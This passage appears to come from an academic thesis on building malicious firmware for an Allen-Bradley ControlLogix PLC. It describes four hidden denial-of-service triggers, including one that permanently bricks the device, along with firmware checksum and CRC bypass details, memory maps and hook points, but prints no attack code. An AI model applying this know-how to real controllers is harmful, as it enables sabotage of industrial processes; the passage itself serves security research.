program. As both firmware images complete iterations of the process program, the time

to complete the iteration is recorded. The mean program execution times from both

firmware images are compared to determine if the additions to the repackaged firmware

impact program execution times. Execution time comparisons are done using timing
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side-channel analysis techniques developed by Dunlap [20]. Where possible, attack

code makes use of primarily dormant execution paths to escape detection under normal

operating conditions.

Figure 3.2: PLC Device Hierarchy.

All developed attacks execute a DoS attack against ControlLogix 1756-L61 PLC.

However, the method used to trigger the DoS attack differs for each attack. Four DoS

attacks are developed to replicate one of the several types of attacks proposed by Peck

[40]. The first three attacks are non-persistent DoS attacks since the ControlLogix 1756-

L61 PLC can be restored by either a power cycle or using the mode change key to switch

modes between RUN and PROGRAM twice, clearing the fault. No permanent damage

is done to the ControlLogix 1756-L61 PLC when the non-persistent attack is executed.

The fourth attack is considered a persistent DoS attack because the PLC is modified in

a manner that prevents recovery. The PLC requires modification using JTAG to restore

it to a functional state. Note that the attacks developed in this experiment focus only on
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modifying the PLC firmware, which provides the interface between the PLC hardware

and programming area as shown in Figure 3.2 [8]. The repackaged firmwares execute a

DoS attack under the following conditions.

1. Force the ControlLogix 1756-L61 PLC to terminate operation after a pre-

determined amount of time. This attack executes based on the value of an iterator

that counts down once the ControlLogix 1756-L61 PLC begins operation. This

attack is heretofore referred to as the time based non-persistent DoS attack.

2. Force the ControlLogix 1756-L61 PLC to terminate operation after a mode change

command is sent. This attack executes after the ControlLogix 1756-L61 PLC mode

is switched between REMOTE RUN and REMOTE PROGRAM four times. Note

that the count is arbitrary and alterable. This attack is heretofore referred to as the

mode change based non-persistent DoS attack.

3. Force the ControlLogix 1756-L61 PLC to terminate operation after a custom

CIP command is sent. This attack executes when triggered by a customized CIP

command. The CIP command uses normally unused codes to avoid interfering with

legitimate commands. This attack is heretofore referred to as the CIP based non-

persistent DoS attack.

4. Force the ControlLogix 1756-L61 PLC to terminate operation using a custom CIP

command, and make a permanent modification to flash memory that will prevent

recovery by the owner. This attack uses the same mechanism as the CIP based

non-persistent DoS but adds a persistent component by writing a sentinel to flash

memory that survives a power cycle. In addition to testing for the customized CIP

command, this attack also tests flash memory for the sentinel value. This attack is

heretofore referred to as the CIP based persistent DoS attack.
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The ControlLogix 1756-L61 PLC polls each attached sensor, collects data, and

then acts on that data. The firmware contains a primary loop that runs continuously,

polls attached devices, and takes actions based on the inputs collected during the polling

cycle. When inserting modified instructions, it is necessary to determine the location

of the primary loop, or a function that executes during the loop. When inserted, the

instructions can run continuous tests, divert control based on the results, and take action.

To successfully carry out the four DoS attacks, it is necessary to determine the primary

loop, methods used to read/write to non-volatile storage, and methods that interpret

external commands.

3.2 Environment

The development environment consists of a collection of tools necessary to

both analyze the existing firmware, and develop the attack. The firmware image and

ControlLogix 1756-L61 PLC are also components of the development environment.

3.2.1 PLC and Firmware Specifications.

The attacks developed in this research function on the Allen-Bradley ControlLogix

1756-L61 PLC manufactured by Rockwell Automation. This PLC uses an ARM7TDMI

CPU architecture [8], contains 2MB of user memory, and 478KB of I/O memory

[47]. ControlLogix 1756-L61 PLC firmware revision number 19.15.25 is the base

unmodified firmware version used in this research. All repackaged firmware revisions are

alterations of this base unmodified firmware image. This baseline version is available with

registration from the Allen-Bradley website [44]. Other Allen-Bradley support equipment

needed by the ControlLogix 1756-L61 PLC include the 1756 PA72/C power supply,

1756-A7 chassis, and the 1756-ENBT Ethernet module for network connectivity.

3.2.2 Deployment Tools.

Existing Allen-Bradley programs are used to deploy repackaged firmware images

to the PLC. The Allen-Bradley RSLinx program is required to communicate with
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other Allen-Bradley devices connected to a network. Note that RSLinx only manages

communication with the PLC and performs no validation of the firmware image. The

Allen-Bradley ControlFLASH program is used to manage and send updated firmware

images to the PLC. ControlFLASH relies on validity checks embedded in the firmware

image and supporting files [8]. RSLogix 5000 from Allen Bradley is the ladder logic

programming environment for the ControlLogix 1756-L61 PLC. Allen-Bradley uses

ladder logic as the programming language for process control programs.

3.2.3 Firmware Analysis Tools.

The following tools are used to disassemble and trace the firmware images. IDA

Pro from Hex Rays is the disassembler used to analyze the firmware. IDA Pro supports

multiple ARM CPU instruction sets including ARM7TDMI which is the architecture used

by the ControlLogix 1756-L61 PLC. Additional scripts built by Basnight et al. extend

the functionality of IDA Pro and automate some analysis tasks [8]. The extension scripts

search for known function prologues in ARM assembly to identify possible subroutines,

and attempt to name functions by searching for function name strings used by a generic

error handling routine in the firmware image.

ARM Development Studio v5 and Realview ICE, both developed by ARM Holdings

PLC, provide hardware debugging capability. As shown in Figure 3.3, the debugger can

trace instructions, read sections of memory, capture and restore memory segments, and

alter register values by connecting to the available JTAG interface on the ControlLogix

1756-L61 PLC. These functions make it possible to recover the device in case of a fault

and execute specific areas of the firmware for testing.

3.2.4 Assembly Development Tools.

Assembly development is accomplished using an ARM cross compiler available in

the GNU arm-linux-gnueabi package for linux [1]. Two locally developed scripts

insert the output from the cross compiler into the target malware. The first script writes
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Figure 3.3: JTAG Interface.

the generated assembly instructions into the firmware beginning at the specified start

address. The second script is a calculator for ARM assembly jump instructions used to

modify existing jump instructions to point to desired locations.

3.2.5 Performance Analysis Tools.

Utilities developed by Dunlap provide the infrastructure for collecting and analyzing

process program execution times [20]. The utilities automate the process of deploying

firmware images and process programs. Additionally, the testing utilities use CIP

commands to request execution time data during normal ControlLogix 1756-L61 PLC

operation and record the data for later analysis. R from the R Foundation is used to test

process program execution times collected from both the unmodified and repackaged

firmwares for statistically significant differences.
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3.3 Reverse Engineering Effort

The reverse engineering effort includes the tasks necessary to build the device

attacks. Reverse engineering is divided into three tasks. The first task is the tool and

firmware acquisition as previously discussed. The second task is hardware analysis which

attempts to find clues about the operation of the device from the types of components

used in its construction. The third task is firmware analysis where the firmware image

is disassembled and analyzed.

3.3.1 Hardware Analysis.

Hardware analysis produces information necessary to identify the instruction

set used in the firmware image. The first task is determining the architecture of the

primary CPU through part number research or previous work [8, 48]. Other tasks include

obtaining information about the attached hardware to infer interactions with the firmware

image. For example, knowledge of the type of flash memory used in the device provides

clues about the types of control codes referenced in the firmware image. Information

about the control codes aids identification of methods that read from or write to flash

memory. Knowing the ICs on the board can aid in understanding the operation of the

ControlLogix 1756-L61 PLC and how the PLC interacts with the installed firmware.

Information about such interactions aids attack development.

There are several tasks accomplished for hardware analysis that occur in conjunction

with firmware analysis. The types of memory used in volatile and non-volatile storage are

identified along with the mapping of memory layout to determine the base address of the

firmware, location of the stack, and location of any critical files, vectors, or flags used by

the firmware image. Knowledge of these items provide possible exploitable areas of the

firmware that can be used in the repackaging attacks.
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3.3.2 Firmware Analysis.

Firmware analysis is accomplished using both static and dynamic analysis. A

thorough understanding of the firmware image’s normal operations helps to craft an attack

that does not interfere with the operation of the ControlLogix 1756-L61 PLC except when

desired.

During static analysis, the firmware image is examined using IDA Pro to identify

the firmware entry point, symbol tables, functions, subroutines, and fixed fields in a file

header. During static analysis it is critical to identify the entry point and correct base

address for the firmware image to determine the startup execution path for the PLC.

This allows IDA Pro to accurately build cross-references between jump locations where

relative addressing is not used. The firmware image requires additional analysis using

IDA Pro extensions to identify all possible functions or subroutines by searching the

firmware image for known function prologues such as stack pushes [48]. Firmware

analysis also entails identifying strings in the firmware image that may indicate function

names or a symbol table that can be used to associate discovered functions with an actual

name.

With an understanding of the structure and flow of the firmware image, it is possible

to identify areas of the firmware image that can be exploited in the attack, such as

error or fault handling routines. Since instructions are added to the firmware image, a

point in the image is identified for insertion. ARM assembly makes extensive use of

relative addressing for calculating program jumps and data locations. Because of the

use of relative addressing, instructions cannot be inserted. The new instructions must

overwrite existing instructions/data or be added to an area of the firmware image that is

not addressed elsewhere.
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3.4 Attack Development

During attack development, the necessary ARM instructions are developed and

inserted into the firmware image in a safe location that does not overwrite existing

instructions. The checksum and CRC in the repackaged firmware are updated to pass

validation checks and appear as a legitimate firmware update. Once the repackaged

firmware image is installed, the attack functions are checked to ensure proper operation,

and ControlLogix 1756-L61 PLC stability is evaluated with each of the repackaged

firmware images.

3.4.1 Assembly and Firmware Modification.

ARM instructions are assembled into a relocatable file using the ARM cross-

compiler configured for the ARM7TDMI architecture. The relocatable format generated

by the cross-compiler will not function on the ControlLogix 1756-L61 PLC without

modification. The header information and symbol table are removed leaving only the

opcodes and data. The extracted opcodes are written to the firmware image. Next, all

jump instructions requiring modification are adjusted to correctly redirect execution. The

offsets to the correct instruction are recomputed and the opcode altered using a hex editor.

The structure of ARM opcodes is required for correct modification, which are readily

available from the ARM Information Center [6].

The four DoS attacks are each structured differently. The time based non-persistent

DoS attack uses a hook that replaces a function call used continuously in the firmware

image. Each call to the hooking function decrements an iterator. When the iterator

reaches zero, execution redirects to the failure path and the ControlLogix 1756-L61 PLC

faults. There is some variability in the amount of time needed to decrement the iterator to

zero since external factors not evaluated during this research may affect the execution rate

of the hooked function. This time based non-persistent DoS attack only requires a point

where execution flow can be safely redirected.
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The mode change based non-persistent DoS attack counts changes between

REMOTE RUN and REMOTE PROGRAM and selects the fault path once the count is

reached. The mode change based non-persistent DoS attack differentiates between remote

mode changes and physical mode changes made with the front panel switch.

The CIP based non-persistent DoS attack intercepts CIP identity objects and tests for

custom codes attached to the identity object. If the test is successful, the ControlLogix

1756-L61 PLC faults. The CIP based non-persistent DoS attack uses the CIP object

handling function in the firmware image to capture CIP objects.

The CIP based persistent DoS attack adds the persistent component by writing a

sentinel value to non-volatile storage; otherwise, the activation method for the CIP based

persistent DoS attack matches its non-persistent counterpart. The sentinel value in non-

volatile storage is tested after a reset preventing the ControlLogix 1756-L61 PLC owner

from recovering the device. The constant resets prevent stable operation and blocks

attempts to upload an unmodified firmware image. The attack instructions use the existing

flash writing function to write data to flash memory.

Once instruction modification of the firmware image is complete, the checksum

and CRC are updated to pass validation tests. Checksum and CRC changes are made

in accordance with procedures developed by Basnight et al. [8]. The firmware image

is staged in the normal deployment directories used by ControlFlash and pushed to the

ControlLogix 1756-L61 PLC for testing.

3.4.2 Deployment and Evaluation.

Each repackaged firmware is evaluated for functionality and stability. Repackaged

firmwares are pushed to the ControlLogix 1756-L61 PLC using ControlFLASH. Once

installed, each repackaged firmware must operate normally, and unexpected device

failures must not occur if the attack has not been triggered. Stability is evaluated by

installing each repackaged firmware on the ControlLogix 1756-L61 PLC and running
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the PLC uninterrupted for a minimum of eight hours. If the ControlLogix 1756-L61

PLC operates without fault during the eight hours, the repackaged firmware is considered

stable.

For the purposes of this evaluation, normal operation, device faults, and stability

require specific definitions.

• During functional evaluation, normal operation is determined using the status of the

front panel OK light. If the front panel OK light remains green, the ControlLogix

1756-L61 is operating normally and the firmware remains functional. The front

panel OK light is used as a status indicator during functional evaluation and

performance analysis. No process program is executed by the firmware during

functional evaluation. During performance analysis, a process program is executed

by the firmware. For both evaluations, a green front panel OK light indicates

normal operation.

• If the front panel OK light switches to solid red, a major fault has caused the

ControlLogix 1756-L61 PLC to halt and reset. Once the reset is complete, the front

panel OK light changes from solid red to blinking red. The blinking red indicates

that the ControlLogix 1756-L61 PLC requires a reset using the front panel mode

switch or a power cycle. This type of fault is generated by the attacks in each

repackaged firmware. During functional evaluation, such a fault should occur only

when the attack is executed.

• Stability is defined as uninterrupted normal operation indicated by a green front

panel OK light. Only the firmware is executed during stability evaluation, no

process control program is loaded on the ControlLogix 1756-L61 PLC. The eight

hour stability evaluation period was chosen because it exceeds acceptance testing
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times used in some control system installations which can range from two to six

hours depending on system type [13].

The time based non-persistent DoS attack is evaluated at 3 time amounts. Pilot

tests show that the exploited function hooked by the iterator and fault test executes

approximately 1200 times per minute. The three time amounts evaluated are one minute,

ten minutes, and one hour. Therefore, using the execution rate of the hooked function, the

iterator values are set to 1200, 12000, and 72000 respectively. The ControlLogix 1756-

L61 PLC must fault at the expected amount of time to pass. Once the fault is generated,

the ControlLogix 1756-L61 is power cycled to clear the fault. If all three evaluations pass,

the iterator is set to 16777216 which is a large enough number to allow the ConrolLogix

1756-L61 PLC to run for the duration of the stability evaluation. After the iterator is

altered and the repackaged firmware is installed, the ControlLogix 1756-L61 PLC runs

for eight continuous hours. If no faults are generated, the repackaged firmware containing

the time based non-persistent DoS is considered stable.

The mode change based non-persistent DoS attack is evaluated under three

conditions. The first condition verifies that the ControlLogix 1756-L61 PLC faults

after four alternating remote mode changes. The second condition verifies that mode

changes using the ControlLogix 1756-L61 front panel switch do not cause a fault. The

third condition is the stability evaluation. To evaluate the first condition, the repackaged

firmware is installed to the ControlLogix 1756-L61 PLC where it is allowed to stabilize

for 60 seconds. Once stabilized, the four mode changes are sent using the RSLOGIX

5000 program. The mode changes must alternate between REMOTE RUN and REMOTE

PROGRAM starting with a switch from REMOTE PROGRAM to REMOTE RUN. After

the mode change sequence is sent, the ControlLogix 1756-L61 PLC must fault. The

fault is cleared using a power cycle. To evaluate the second condition, the ControlLogix

1756-L61 PLC is again allowed to stabilize for 60 seconds. Once stabilized, the front
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panel mode switch, shown in Figure 3.4, is alternated between PROGRAM and RUN a

minimum of eight times in less than 60 seconds. No faults should be generated during the

mode changes. Once complete, the ControlLogix 1756-L61 PLC runs continuously for

eight hours. If no faults are generated, repackaged firmware containing the mode change

based non-persistent DoS is considered stable.

Figure 3.4: Front Panel Mode Change Switch.

The CIP based non-persistent DoS attack is evaluated under three conditions. The

first condition verifies that the ControlLogix 1756-L61 PLC faults after receiving a

modified CIP identity object command. The second condition verifies that a valid CIP

identity object command does not cause a fault. The third condition is the stability

evaluation. To evaluate the first condition, the repackaged firmware is installed to the

ControlLogix 1756-L61 PLC where it is allowed to stabilize for 60 seconds. Once

stabilized, the modified CIP identity object command is sent using a locally developed

program. The modified CIP identity object command must cause the ControlLogix

1756-L61 PLC to fault. The fault is cleared using a power cycle. To evaluate the second

condition, the ControlLogix 1756-L61 PLC is allowed to stabilize for 60 seconds. Once

39



stabilized, a valid CIP identity object command is sent which should not cause a fault. If

all conditions pass, the ControlLogix 1756-L61 PLC runs continuously for eight hours

with the repackaged firmware installed. If no faults are generated, repackaged firmware

containing the CIP based non-persistent DoS is considered stable.

The CIP based persistent DoS attack is evaluated under four conditions. The first

condition verifies that the ControlLogix 1756-L61 PLC faults after receiving a modified

CIP identity object command. The second condition evaluates persistence and verifies

that the fault remains after both a mode change reset and a power cycle. The third

condition verifies that a valid CIP identity object command does not cause a fault. The

fourth condition is the stability evaluation. To evaluate the first condition, the repackaged

firmware is installed on the ControlLogix 1756-L61 PLC where it is allowed to stabilize

for 60 seconds. Once stabilized, the modified CIP identity object command is sent using

a locally developed program. The modified CIP identity object command must cause

the ControlLogix 1756-L61 PLC to fault. The second condition is evaluated first by

attempting the mode change switch reset method. If the fault does not clear, a power

cycle is attempted. If the fault remains after the power cycle, the CIP based persistent

DoS attack passes the second condition and is considered persistent. The ControlLogix

1756-L61 PLC is restored by erasing the altered portion of flash memory using the JTAG

interface and debugger. To test the third condition, after restoration, the ControlLogix

1756-L61 PLC is allowed to stabilize for 60 seconds. Once stabilized, a valid CIP

identity object command is sent which should not cause a fault. If all conditions pass,

the ControlLogix 1756-L61 PLC is run continuously for eight hours with the repackaged

firmware installed to evaluate stability. If no faults are generated, repackaged firmware

containing the CIP based persistent DoS is considered stable.
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3.5 Performance Analysis

SCADA systems are considered real-time devices and as such must meet timing

requirements [11]. The attacks developed in this research are not feasible if they cause

the ControlLogix 1756-L61 PLC to deviate by a statistically significant amount from

expected execution times. Indeed, such a device would likely be replaced or reloaded

before the attack could be executed. This final experiment evaluates each attack to

determine its impact on process program execution time. To evaluate performance, each

repackaged firmware is given a process program as a workload, and the time needed

to complete the workload is recorded by a data collection tool. The collected times are

compared to the performance of an unmodified firmware image to determine the impacts

to performance.

3.5.1 Workload.

To examine the performance of the repackaged firmwares, each one must be

placed under the load of a process program. For the repackaged firmware installed on

a ControlLogix 1756-L61 PLC, the process program is a ladder logic project designed

to control an industrial process. In this experiment two ladder logic projects are used

to evaluate the performance of the ControlLogix 1756-L61 at two different workload

level, small and large. The ladder logic projects are the two used by Dunlap to evaluate

timing based side channel analysis for detecting anomalies in firmware [20]. The first

ladder logic project is the small workload. This project contains three steps and was found

by Dunlap to have a mean execution time of less than 110μs. The second ladder logic

project file is the large workload. This project contains 32 steps repeated 115 times and

was found by Dunlap to have a mean execution time of greater than 3000μs.

3.5.2 Data Collection Environment and Process.

Data collection is performed using software installed on a Windows XP workstation.

RSLinx provides communication between the Windows XP workstation and the
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ControlLogix 1756-L61 PLC via the 1756-ENBT Ethernet Module. Firmware installation

and data collection are done using software developed by Dunlap [20]. Firmware

installation is automated by duplicating CIP commands used by ControlFLASH which

is the Allen-Bradley supplied program used for firmware installation. Using a CIP

command, the data collection software polls the ControlLogix 1756-L61 PLC every

250ms and requests the most recent process program execution time. Both the firmware

installation process and data collection are automated to eliminate human error during

the collection process and ensure that stabilization times are consistent. The basic

configuration of the test equipment is shown in Figure 3.5 and the following list specifies

the equipment used to conduct this evaluation:

• ControlLogix 1756-L61 PLC,

• Combined 1756 PA72/C power supply and 1756-A7 chassis,

• 1756-ENBT Ethernet module,

• Cisco 5-port Ethernet Switch, and

• Windows XP Workstation.

To analyze the performance of each of the repackaged firmware images, process

program execution times are collected from the ControlLogix 1756-L61 PLC and stored

as a collected data set. During data collection, the attack function in the repackaged

firmware image is not executed. Note that the collection steps are the same regardless of

firmware image. The steps to collect the data are as follows.

1. Install the firmware image on the ControlLogix 1756-L61 PLC.

2. Stabilize for a minimum of 60 seconds.
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Figure 3.5: Experiment Equipment Configuration.

3. Install the process program on the ControlLogix 1756-L61 PLC.

4. Stabilize for a minimum of 60 seconds.

5. Activate data collection software.

6. Collect 10,000 total time measurements.

7. Store captured data set to a file.

The collection process is executed using the unmodified firmware image and two

workloads generating two data sets. The collection process is repeated for each of the

four repackaged firmware images using the same small and large workload generating

a total of eight data sets. The entire collection process generates a total of ten data sets.
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The unmodified firmware execution times form the baseline to which execution times

collected from the repackaged firmware images are compared.

3.5.3 Analysis.

Analysis consists of comparing the data set collected from a specific repackaged

firmware image and workload level to its corresponding unmodified firmware and

matching workload data set. A total of eight results are generated during evaluation,

one result from each repackaged firmware at each workload level. The comparison test

uses the decision algorithm developed by Dunlap which is a one-way permutation test

using 9999 Monte-Carlo resamplings [20]. The decision algorithm generates a p-value

for each comparison. The p-value threshold for significance set by Dunlap is 0.0001.

The null hypothesis is that there is no performance difference between the unmodified

and repackaged firmware. The alternative hypothesis is that the modifications in the

repackaged firmware incur a performance penalty. The null hypothesis is rejected for

any result below the threshold for significance. No changes are made to the decision

algorithm or detection threshold for this experiment and outliers are removed during

analysis using a decision algorithm setting.

Any result that falls below the threshold of significance indicates that changes made

to the repackaged firmware impact the performance of the ControlLogix 1756-L61 PLC

when completing iterations of the process program. In such cases, the changes made

to implement the attack should be evaluated for efficiency, or moved to an alternate

execution path if possible.

3.6 Methodology Summary

This research determines if it is possible to maliciously modify the ControlLogix

1756-L61 PLC firmware, build a useful exploit, and function without affecting

performance when executing a process program. The research is conducted in three

steps: reverse engineering, attack development, and performance analysis. Reverse
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engineering is used to understand the structure of the firmware and find exploitable

regions. During attack development, the exploit is added to the firmware. The firmware

is then repackaged, installed on the ControlLogix 1756-L61 PLC and evaluated for

functionality. Finally, the performance of the repackaged firmware is compared to the

unmodified firmware using a process program as a workload.
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IV. Results

This chapter describes the results of the research. The first section details the

information found during reverse engineering used to build the attacks. The second

section describes the attack development process and results of the attack evaluation. The

final section presents the results of the performance analysis.

4.1 Reverse Engineering Results

This section describes the results of reverse engineering firmware version number

19.15.25 developed by Allen-Bradley for use on the ControlLogix 1756-L61 PLC. This

firmware version is the base unmodified firmware image used in the development of all

attacks described in this chapter. This section includes the results of the hardware and

firmware analysis, and a description of the usable areas of the unmodified firmware found

as a result of the analysis.

4.1.1 Hardware Analysis Results.

Proper CPU identification allows the disassembler to correctly interpret instructions

in the unmodified firmware image and is a critical first step in the reverse engineering

process. The primary CPU is labeled as ARM, but does not contain an identifiable

product number. The ARM label alone is an indicator that narrows the possible

instruction sets. IDA Pro uses a generic ARM setting for the instruction set with further

refinement through additional configuration for a specific ARM version. Basnight et al.

previously identified the ControlLogix 1756-L61 PLC core as an ARM7TDMI which is a

version of the ARMv4T architecture [8]. Verification is accomplished using the RealView

ICE debugger auto-configuration tool to test for specific ARM architectures.

Basnight identified the flash memory IC used in the ControlLogix 1756-L61 PLC as

Numonyx J3 65nm Single Bit Per Cell (SBC) flash memory [7]. Verification of the part
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number on the IC (640J3F75) confirms the identification. The Numonyx data sheet for

the on-board flash memory device provides the control signal values used to place the

flash memory in read/write/erase mode [35]. Section 11 of the data sheet lists command

codes. Code 0xFF is the read array command and is used during read operations. Code

0x20 is the block erase command which is followed by a 0xD0 command code to

confirm the erase command. Code 0xE8 is the buffered program command code and

is used when writing to flash. The buffered program code must be followed by a 0xD0

confirmation code. These codes are used as search terms in IDA Pro when searching for

flash read/write/erase operations.

ControlLogix 1756-L61 PLC firmware is updated using the ControlFLASH program

[44]. Loading of the firmware image to the ControlLogix 1756-L61 PLC is accomplished

using CIP objects used for data delivery. Examination reveals that a new firmware image

is written to flash initially. After the firmware load is completed, ControlFLASH resets

the CPU and waits for a response from the ControlLogix 1756-L61 PLC to indicate

a successful upgrade. If the load is successful, but the firmware image is determined

corrupt or is incomplete, the ControlLogix 1756-L61 PLC reverts to a default firmware

and ControlFLASH reports a load failure.

4.1.2 Firmware Analysis.

Static and dynamic analysis provide knowledge of the structure and function of the

firmware image. Static analysis is accomplished primarily using the disassembly tools

available in IDA Pro. The JTAG interface available on the ControlLogix 1756-L61 PLC,

ARM Development Studio v5 and Realview ICE hardware debugger provide the means to

perform dynamic analysis.

4.1.2.1 Static Analysis.

Static analysis is performed using the disassembly of the unmodified firmware image

generated by IDA Pro. The base address is set to 0xD00000 in IDA during the initial
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import matching the base address in RAM where the unmodified firmware resides after

startup of the ControlLogix 1756-L61 PLC [7]. Using the correct base address ensures

that IDA Pro provides a more complete analysis of the unmodified firmware image.

Indeed, when the correct base address is used, IDA Pro is able to build accurate cross-

references in instances where the address reference uses absolute addresses rather than

offsets in the unmodified firmware image.

The ControlLogix 1756-L61 PLC performs two validations on the firmware image

to verify correctness. Both validation methods were reverse engineered by Basnight et

al. [8]. The checksum is performed first during the ControlLogix 1756-L61 PLC startup

procedure. Every byte of the firmware image is summed. The result of the summation

and the checksum, which is the last four bytes of the firmware image, must give a result

of 0x12345678. The CRC value is stored in the word prior to the checksum value in the

firmware image. The CRC is calculated using the CRC-32 algorithm in IEEE 802.3 [35].

To compute the CRC, the firmware image is divided into three separate divisions: the

image file minus the eight validation bytes at the end; the amount of padding expected

after the validation bytes; and the CRC value contained in the validation bytes. The

checksum value is not used in the CRC calculation. The padding size is calculated by

subtracting the actual file size of the firmware image from the available space which, as

shown in Figure 4.1, is specified at word six in the firmware image header.

The beginning of the unmodified firmware image contains a 28 byte header

that contains the initial jump to the firmware image entry point, firmware validation

information, and the size of the firmware image block. Figure 4.1 shows the structure of

the file header.

The first field of the header contains the initial jump instruction. The second field

contains the firmware image version number and can be altered to any desired value. The

checksum total field is used in the checksum calculation. The RAM load location tells
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Figure 4.1: Firmware Image Header Structure.

the executive loader where to store the firmware image in RAM. Finally the block size

indicates the total size of the firmware image and padding. The firmware image is smaller

than the block size, and any remaining space is padded with repeating bytes of 0xFF.

The initial import into IDA Pro leaves multiple areas of the unmodified firmware

image unprocessed. Using IDA scripts developed by Santamarta and modified by

Basnight, the unmodified firmware image is rescanned to identify function prologs

[7, 48]. The prolog is the ARM opcode for storing multiple registers to the stack and is

the hexadecimal string 0x2D 0xE9. Rescanning the unmodified firmware image using this

script achieves results similar to Basnight [7] and identifies the majority of the remaining

instructions.

The identified subroutines are labeled by IDA Pro using generic placeholder names.

Basnight et al. found that many functions in the image contain references to their own

names which are passed to a logging function in the event of a fault [8]. By using the

internal references, 959 of the 7591 identified subroutines are renamed. Note that the

names of the functions provide insight about their purpose.

Notable areas in memory include the location of the stack, location of the unmodified

firmware image in volatile memory, and identifiable sections of non-volatile storage.

The stack in memory on the ControlLogix 1756-L61 PLC grows upwards, but does

not start at the high address in memory and appears to reside entirely within the first
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65KB of memory. The general location of the stack is determined by monitoring the

memory values in the sp register, however, the exact value of the stack base is unknown.

The unmodified firmware image executes from RAM and resides in memory between

addresses 0xD00000 and 0xF80000. Non-volatile storage is addressed in unmodified

firmware in the address space of 0xB000000 to 0xB800000. Within flash, the bootloader

resides at address 0xB000000 to 0xB00066B, a default firmware image resides at address

0xB020000 to 0xB1806F3, and the installed unmodified firmware image resides at

address 0xB1A0000 to 0xB420000. An XML file containing device specific configuration

data resides in flash starting at address 0xB7E0000. The use of addresses in firmware

indicates blocks starting at 0x8010000 are used to set or read status from hardware

locations; however, the exact function of the individual values could not be determined,

with the exception of a hardware status monitor located at address 0x801028C. Front

panel lights are set by writing the appropriate value to address 0x4C000000, indicating

memory mapped I/O.

Initial device startup is a three step process consisting of a boot loader, an executive

loader, and transition to unmodified firmware control [8]. The boot loader and executive

loader map memory to the specified address space, and copy the unmodified firmware

into RAM. During startup, RAM is mapped to the address space 0x0 to 0xFFFFFF.

The unmodified firmware image is loaded into RAM by the executive loader starting at

address 0xD00000. Once loaded, control is transferred to the initial jump instruction at

address 0xD00000.

Within the unmodified firmware image, two areas are worth note. Address

0xF194D4 contains an error handling vector with a sequence of error codes that are set

as arguments prior to calls made to a generic error handling routine. Address 0xF6176C

contains generic XML associated with a function used to write the XML configuration file

to flash.
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4.1.2.2 Dynamic Analysis.

The primary advantage of dynamic analysis is testing execution paths in the

unmodified firmware. As condition tests are encountered during static analysis, it is

difficult to determine normal execution paths and which paths are taken as exceptions.

Likewise, the unmodified firmware makes extensive use of addressable condition flags for

testing the status of hardware. In static analysis, it is difficult to determine the condition

codes used by the unmodified firmware. The JTAG interface provides the ability to test

execution paths by setting breakpoints at memory locations and testing for read/write

access. Note that after startup, the hardware monitor is activated by writing value 0x10C7

to address 0x801028C. After the hardware monitor is activated, the JTAG hardware

debugger cannot be used to step through instructions unless the activation function is

bypassed by altering the program counter register (pc). However, the debugger can still

be used for breakpoint testing, capturing register values, and capturing memory images at

breakpoints.

4.1.3 Identified Firmware Sections.

This section contains descriptions of notable areas of the firmware image. This

list is not exhaustive, but rather highlights areas of the firmware that are used in attack

development.

4.1.3.1 Diagnostic Test.

Starting at address 0xF37498 is a function that performs a series of math tests on

all registers of the CPU. As seen in Figure 4.2 the function returns a 0x0 to the calling

function in register r0 if all math tests were successful. If the CPU experienced any

failures, the function returns 0xFFFFFFFF to the calling function in r0.

4.1.3.2 Processor Mode Diagnostics.

The unmodified firmware image contains four subroutines called ClControllerLog

0 through 3. Assuming the name is associated with a logging feature, the function is
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Figure 4.2: Diagnostic Routine Return Codes.

tested using the JTAG interface. Breakpoint testing shows that ClControllerLog 0 is

called only in the event of certain changes to the operating mode of the ControlLogix

1756-L61 PLC. In particular, the function is called when uploading a new firmware

image, or when changing the device mode between RUN or PROGRAM either remotely

using RSLogix or locally using the front panel mode switch. From this function, the

execution path was traced to the function cpmode 1 where the key setting is polled.

Examination of the function reveals that it is called continuously. cpmode 1 contains a

jump table as an event handler. Four of the conditions in the jump table tie directly to

the four possible mode settings of the ControlLogix 1756-L61 PLC which are RUN,

PROGRAM, REMOTE RUN, and REMOTE PROGRAM. Each of the four conditions

are handled in the same manner. Registers r0 and r3 are set with different values (shown

in Table 4.1) specific to each mode, and the logging function is called. An example of the

REMOTE RUN mode change condition in cpmode 1 is shown in Figure 4.3.
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Figure 4.3: REMOTE RUN Mode Change Condition.

Table 4.1: Mode Setting Register Values.

Mode r0 Value r3 Value

PRGM 0x11 0x1

RUN 0x11 0x2

REM PRGM 0x12 0x1

REM RUN 0x12 0x2

cpmode 1 contains two characteristics that make it a desirable target for modifica-

tion. First, the function is executed continuously. A function call inside cpmode 1 can be

hooked and used to redirect to an inserted function. Execution can also be returned to the

original intended call and the ControlLogix 1756-L61 PLC can continue to function nor-

mally. Second, the function contains code that only executes under known controllable

conditions. For example, the mode changes could be used to signal execution of an alter-

nate function.

4.1.3.3 CIP Object Class Manager.

Allen-Bradley PLCs use CIP for sending commands or messages between modules

or across a network. CIP is an object oriented protocol that implements a hierarchy

of object classes [49]. CIP commands are sent to the intended module through serial
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communications, Ethernet, or directly across the backplane. In the case of Ethernet, the

Ethernet/IP protocol encapsulates the CIP message. Once the CIP message is received,

the Ethernet module strips the Ethernet/IP header and routes the CIP message to the

designated chassis slot. At the top level of the hierarchy are object classes. Two object

classes used in the firmware image are the connection manager object and the identity

object. Within an object class are service and instance identifiers [39]. When sending a

CIP message, the request must go to a specific object class with a specific instance and a

valid service.

Figure 4.4: Service Code Tests in cmconmgr.

Three of the connection services associated with the connection manager object are

the forward open, forward close, and unconnected send which use hexadecimal codes

0x54, 0x4E, and 0x52, respectively. Figure 4.4 shows all three connection service tests in

function cmconmgr. The cmconmgr function is called by an unlabeled function (renamed

to ren classjumptable as shown in Figure 4.5) containing a jump table. The jump

table test for calling the connection manager function checks for the value 0x6 shown

in Figure 4.6, which matches the value of the object class for the connection manager

[39]. This indicates that the calling subroutine is the CIP stack object class handler. This

conjecture is validated by setting a breakpoint in a subroutine called when the object class
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Figure 4.5: Class Handler Call to Connection Manager.

is an identity object using class code 0x1. The test for the identity object class is shown in

Figure 4.7.

Figure 4.6: Connection Manager Object Class Test.

When an identity object request is sent to the ControlLogix 1756-L61 PLC using

CIP, the breakpoint is triggered. An argument passed to the identity object handler

contains an address to a data structure. The exact layout of the memory structure is not
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Figure 4.7: Test For Identity Object Class.

immediately decipherable from the instructions in the function. Dumps, generated using

JTAG, of the first 128 bytes at that address, however, reveal that the service and instance

identifier are contained in the first and third bytes, respectively. This was validated by

sending three identity requests to the object handler with different service and instance

identifiers. Two of the attempts included invalid service identifiers sent to the object

